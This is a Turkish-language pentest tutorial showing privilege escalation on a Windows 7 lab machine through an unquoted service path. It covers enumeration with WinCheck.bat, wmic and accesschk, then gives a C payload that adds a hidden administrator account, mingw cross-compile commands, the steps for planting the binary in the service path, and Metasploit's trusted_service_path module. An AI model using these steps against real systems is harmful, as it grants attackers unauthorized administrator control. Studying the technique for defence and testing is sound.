Windows sızma testleri sırasında yapılandırma ayarlarının güvenilir bir şekilde gerçekleştirilmemesi ve gerekli yamaların geçilmemesinden dolayı hak yükseltme saldırıları gerçekleştirilebilir. Bu yazıda, standart kullanıcı yetkileri ile erişilen Windows 7 işletim sisteminde WinCheck.bat betiği ile tespit edilen çalıştıracağı dosya yolu hatalı yapılandırılmış bir servis kötüye kullanılarak servisi çalıştıran kullanıcı (SYSTEM) yetkisi ile komut çalıştırılacaktır.
Windows 7 sanal makinesine standart yetkilere sahip “YetkisizHesap” kullanıcısı ile erişim sağlandığı varsayılmaktadır.
net user YetkisizHesap
net localgroup Administrators
1) WinCheck Betiği ile Hak Yükseltme Zafiyetlerinin Keşfi
Hak yükseltme zafiyetlerinin tespiti için Github üzerinden WinCheck.bat betiği kullanılabilir.
https://github.com/rewardone/OSCPRepo/blob/master/Local%20Info%20Enum/Windows/WinCheck.bat
Betik indirilip çalıştırıldığında işletim sistemine ait bir çok bilgi toplanmakta ve muhtemel zafiyetler listelenmektedir.
WinCheck.bat
Gerçekleştirilen kontrol maddeleri aşağıdaki gibi sıralanabilir.
Hostname
Username
OS Verion
Installed Software
Available Users
Network Config
Route Config
ARP Cache
Network Connections
Firewall Settings
Running Services
Local PrivEsc ExploitsMS11-080
MS16-032
MS11-011
MS10-059
MS10-021
MS10-092
MS10-073
MS17-017
MS10-015
MS08-025
MS06-049
MS06-030
MS05-055
MS05-018
MS04-019
MS04-011
MS04-020
MS14-040
MS16-016
MS15-051
MS14-070
MS11-046File Transfer Utilities
Clear-text/base64 Passwords
Backup Files
*.MSI Install – SYSTEM privilege
Unquoted Service Paths
Vulnerable Services
Vulnerable Folder Permissions
Vulnerable File Permissions
Keşfedilen zafiyetler içerisinde servis yolunun güvenilir olarak yapılandırılmamış bir servisteki hak yükseltme zafiyeti de bulunmaktadır.
Benzer zafiyeti tespit edebilmek için aşağıdaki komut da kullanılabilir.
wmic service get name,displayname,pathname,startmode | findstr /i “auto” | findstr /i /v “C:\Windows\\” | findstr /i /v “””
2) Zafiyetin Detayı
Windows işletim sisteminde servislerin çalıştıracağı uygulamalar PathName ile belirtilir.
wmic service get Name,PathName
Servis başlayıp uygulama tetiklendiğinde, “CreateProcess” fonksiyonunun “lpApplicationName” parametresine bu değer (uygulama yolu) atanır. Servisin çalıştıracağı uygulamanın komut satırı parametresi varsa da “CreateProcess” fonksiyonunun “lpCommandLine” parametresine atanır. Detaylar için kaynaklardaki Microsoft Documents yazısı incelenebilir.
Bir uygulama komut satırından çalıştırıldığında tırnak işaretleri kullanılmamışsa, ilk boşluk karakterine kadar olan kısım uygulama adını, sonraki ifadeler ise komut satırı parametrelerini belirtir. Yani aşağıdaki ilk ifadede “C:\Program” uygulama adı; sonraki “Files\Internet” ve “Explorer\iexplore.exe” ifadeler ise parametreleri belirtir.
C:\Program Files\Internet Explorer\iexplore.exe
“C:\Program Files\Internet Explorer\iexplore.exe”
Windows işletim sisteminde bir servisin çalıştırdığı uygulama yolunda çift tırnak işareti (“) kullanılıyorsa, ilgili servis belirtilen uygulamayı başlatır.
sc qc VMTools
Eğer çift tırnak (“) işareti yoksa servisin çalıştırdığı uygulama yolu bulunmaya çalışılır. Örneğin eğitim amaçlı hazırlanan “EgitimServis” adlı servisin çalıştırdığı uygulama yolunda tırnak işareti kullanılmadığı için uygulamanın yolu işletim sistemi tarafından yorumlanmaya çalışılır.
sc qc EgitimServis
“EgitimServis” adlı servisin çalıştırmak istediği uygulamanın yolu sırası ile aşağıdaki 4 şekilde aranır ve sonraki ifadeler de parametre olarak kullanılır.
C:\Program.exe
C:\Program Files (x86)\Uygulama.exe
C:\Program Files (x86)\Uygulama Dizini\Zafiyetli.exe
C:\Program Files (x86)\Uygulama Dizini\Zafiyetli Uygulamalara Ait Dizin\servis.exe
Eğer bu uygulamalardan birisi bulunamazsa, son olarak aşağıdaki uygulama çalıştırılır.
C:\Program Files (x86)\Uygulama Dizini\Zafiyetli Uygulamalara Ait Dizin\servis calistir.exe
Eğer aşağıdaki 4 dizinden birisi yetkisiz bir kullanıcı tarafından yazılabilir ise zafiyet oluşur. Bu gibi bir durumda, servisin çalıştıracağı asıl uygulama dosyası (servis calistir.exe) yerine aşağıdaki dizinlerde oluşturulabilecek olan (sırası ile) Program.exe, Uygulama.exe, Zafiyetli.exe ve servis.exe dosyaları çalıştırılabilir.
C:\
C:\Program Files (x86)\
C:\Program Files (x86)\Uygulama Dizini\
C:\Program Files (x86)\Uygulama Dizini\Zafiyetli Uygulamalara Ait Dizin\
3) Zafiyetin Manuel Olarak İstismarı
Sysinternals accesschk.exe aracı ile dizinlerin erişim kontrolü gerçekleştirilebilir.
https://live.sysinternals.com/accesschk.exe
Not: Eski sistemlere ait Accesschk uygulamalarının kullanımına da ihtiyaç olabilir. Bu gibi bir durumda archive.org kaynağı da kullanılabilir.
https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe
Standart kullanıcılar ile yazılabilecek dizinler incelendiğinde “Uygulama Dizini” ve içerisindeki “Zafiyetli Uygulamalara Ait Dizin” adlı dizini tespit edilebilir.
accesschk.exe -udws -nobanner Users “C:\Program Files (x86)\”
Yani aşağıdaki iki dizinin içerisine sırası ile “Zafiyetli.exe” ve “servis.exe” oluşturulabilir.
C:\Program Files (x86)\Uygulama Dizini\
C:\Program Files (x86)\Uygulama Dizini\Zafiyetli Uygulamalara Ait Dizin\
Belirtilen dizinlerde çalışacak olan uygulama içeriği için aşağıdaki komutlar bir dosyaya yazılacak şekilde, adı “Zafiyet.exe” olarak kaydedilebilir.
net user YeniKullanici Yy1234567890! /add
net localgroup Administrators YeniKullanici /add
Oluşturulan dosya Windows 7 makineye atılıp, “C:\Program Files (x86)\Uygulama Dizini\” dizinine konulabilir.
“EgitimServis” adlı servisi yeniden başlatıldığında Zafiyetli.exe uygulamasının çalışamadığı ve “YeniKullanici” adlı hesabın da oluşmadığı görülmektedir. Bunun sebebi, mimari uyuşmazlığıdır.
net user
net stop EgitimServis
net start EgitimServis
net user
Alınan hata aşağıdaki gibidir.
This version of *** is not compatible with the version of Windows you’re running. Check your computer’s system information to see whether you need a x86 (32-bit) or x64 (64-bit) version of the program, and then contact the software publisher.
Aynı işlemi yapabilecek şekilde aşağıdaki C dosyası oluşturulup derlenebilir.
1 2 3 4 5 6 7 8 |
#include <stdlib.h> int main () { int i,j; i = system("net user YeniKullanici Yy1234567890! /add"); j = system("net localgroup Administrators YeniKullanici /add"); return 0; } |
64 bitlik Windows 7 platformunda çalışabilecek yeni bir uygulama oluşturmak için, Kali Linux üzerine “mingw-w64” paketi kurulabilir.
apt-get install mingw-w64
Daha sonra oluşturulan C dosyası farklı yöntemler ile derlenebilir.
i686-w64-mingw32-gcc HakYukselt.c -o Zafiyetli_32.exe
file Zafiyetli_32.exe
i686-w64-mingw32-gcc HakYukselt.c -lws2_32 -o Zafiyetli_32_lws.exe
file Zafiyetli_32_lws2.exe
x86_64-w64-mingw32-gcc HakYukselt.c -o Zafiyetli_64.exe
file Zafiyetli_64.exe
Bu dosyalardan birisi (tercihen Zafiyetli_64.exe) adı “Zafiyetli.exe” yapılarak aynı dizine (“C:\Program Files (x86)\Uygulama Dizini\”) atılarak servis başlatılmaya çalışıldığında uygulamanın çalıştığı görülür.
net user
net start EgitimServis
net user
net user YeniKullanici
Not: Windows ortamında bir servisin ayağa kalkması için Service Control Manager ile belli bir süre (30 saniye gibi) iletişime geçmesi gereklidir. Servis başlatıldığında alınan “The service is not responding to the control function.” hatasının sebebi de, Microsoft Windows Service Control Manager tarafından gönderilen “SERVICE_CONTROL_START“, “SERVICE_CONTROL_INTERROGATE” gibi komutlara cevap verilememesi veya geç cevap verilmesi olabilmektedir.
4) Zafiyetin MSF trusted_service_path İstismar Modülü İle İstismarı
EgitimServis adlı servisin yapılandırmasında zafiyetin istismarı için MSF trusted_service_path istismar sonrası modülü de kullanılabilir. Mevcut ortamda yetkisiz bir kullanıcı ile Meterpreter oturumu elde edilmiş olsun.
sessions
use exploit/windows/local/trusted_service_path
show options
Modül çalıştırıldığında zafiyet olmasına rağmen hata mesajı alınmaktadır.
set SESSION 1
exploit
Bunun sebebi sadece ilk dizine dosya atılmasının denenmesi ve bu dizinde yazma yetkisi yoksa hata mesajının fırlatılmasıdır.
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb
Kaynaklar:
https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessa
https://www.exploit-db.com/docs/turkish/39732-[turkish]-privilege-escalation-vectors-on-windows-systems.pdf
Unquoted Service Paths
https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-windows-services-all-roads-lead-to-system-whitepaper.pdf